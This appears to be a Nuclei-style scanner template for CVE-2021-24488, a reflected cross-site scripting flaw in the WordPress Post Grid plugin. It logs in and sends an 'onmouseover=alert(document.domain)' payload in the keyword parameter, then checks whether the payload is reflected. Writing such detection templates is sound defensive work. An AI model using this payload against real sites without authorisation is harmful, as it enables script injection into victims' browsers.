46 lines
1.4 KiB
YAML
46 lines
1.4 KiB
YAML
id: CVE-2021-24488
|
|
|
|
info:
|
|
name: WordPress Plugin Post Grid < 2.1.8 - XSS
|
|
author: cckuailong
|
|
severity: medium
|
|
description: The slider import search feature and tab parameter of the Post Grid WordPress plugin before 2.1.8 settings are not properly sanitised before being output back in the pages, leading to Reflected Cross-Site Scripting issues
|
|
reference:
|
|
- https://wpscan.com/vulnerability/1fc0aace-ba85-4939-9007-d150960add4a
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24488
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-24488
|
|
cwe-id: CWE-79
|
|
tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{RootURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
|
|
- |
|
|
GET /wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(document.domain)// HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'value="\"onmouseover=alert(document.domain)/">'
|
|
- 'Post Grid'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|